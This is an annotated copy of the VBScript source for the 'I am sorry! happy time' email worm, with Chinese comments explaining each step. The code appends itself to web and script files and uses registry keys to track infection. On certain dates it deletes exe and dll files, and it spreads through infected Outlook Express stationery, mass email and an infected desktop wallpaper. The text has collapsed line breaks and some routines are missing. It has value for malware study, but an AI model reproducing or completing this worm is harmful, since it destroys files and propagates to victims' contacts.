Rem I am sorry! happy time On Error Resume Next Mload ’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") ’建立枚举对象,避开了安全审核
If IsHTML Then ’调用IsHtml函数,如果是Html,就小写……
mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() ’如果mPath为空,就在C盘下生成Help.htm
Ihtml = "" ’超文本的内容,并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) ’设置超时条件
main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" ’生成Help.hta
End If End If End If Else Main ’都不是,就执行main函数
End If End Sub 主函数
Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") ’不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary") ’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" ’向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\" ’使用变量以减少代码长度 Ds = Grf() Cs = Gsf() If IsVbs Then ’如果是VBS
If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") ’如果c:\help.htm存在,就删掉,消灭遗留的痕迹
End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then ’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" ’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If Cn = Rg(Ks & "Help\Count") ’读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then Cn = 1 ’如果Count为0,就设为1
End If Rw Ks & "Help\Count", Cn + 1 ’添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2
f1 = Rg(Ks & "Help\FileName") ’再读HKEY_CURRENT_USER\Software\Help\FileName键值
f2 = FNext(Of, Od, f1) ’得到该文件的文件名
fext = GetExt(Of, Od, f2) ’得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2 ’添加键值
If IsDel(fext) Then ’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2 ’储存文件名
f2 = FNext(Of, Od, f2) ’得到文件的文件名?
Rw Ks & "Help\FileName", f2 ’写注册表
Of.DeleteFile f3 ’删除文件
Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then ’如果不是集合中的文件
Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then ’使用 Cint函数强制执行转换,并发邮件
Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then ’比较桌面墙纸是否已改变
If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") ’创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’>< " & "/Body><" & "/HTML>" & mt ’超文本的内容
pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 ’将带毒的超文本设置成活动桌面
End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") ’创建vbs文件
fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close ’创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E xpress\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf ’在Hkey_Current_User\Identities\\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files ’得到windows\web文件夹里的文件
Od.Add "htt", "1100" ’向Dictionary里添加htt项目对
For Each m In gf ’遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m) ’得到每个文件的扩展名 If fext <> "" Then ’如果扩展名不为空,则
Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记 window.Close End Sub
’########################################################################## Sub Fw(Of, S, n) ’此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) ’只读模式打开该文件
mt = fc.ReadAll ’读入全部文件流
fc.Close ’关闭文件 If Not Sc(mt) Then ’如果未感染过
mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) ’打开文件并在文件末尾进行写操作
fc2.Write mt fc2.Close Msend (mmail) ’发带毒邮件 End If End Sub
’############################################################ Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then ’如果读入的文件流中有Rem I am sorry! happy time
Sc = True Else Sc = False ’表示已感染过,返回True,否则为False End If End Function
’########################################################### Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False ’初始化变量
If Of.FileExists(S) Then ’如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder ’得到文件的父目录名
fname = S ’得到文件名
ElseIf Of.FolderExists(S) Then ’不存在于当前文件夹中,则得到目录名
fpath = S T = True Else fpath = Dnext(Of, "") ’得到当前盘符——即根目录
End If Do While True Set gf = Of.GetFolder(fpath).Files ’得到当前目录下的所有文件对象
For Each m In gf ’遍历每个文件
If T Then If GetExt(Of, Od, m) <> "" Then ’如果该文件是文件集合中的一员
FNext = m ’则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then ’如果没文件
T = True End If Next fpath = Pnext(Of, fpath) ’ Loop End Function
|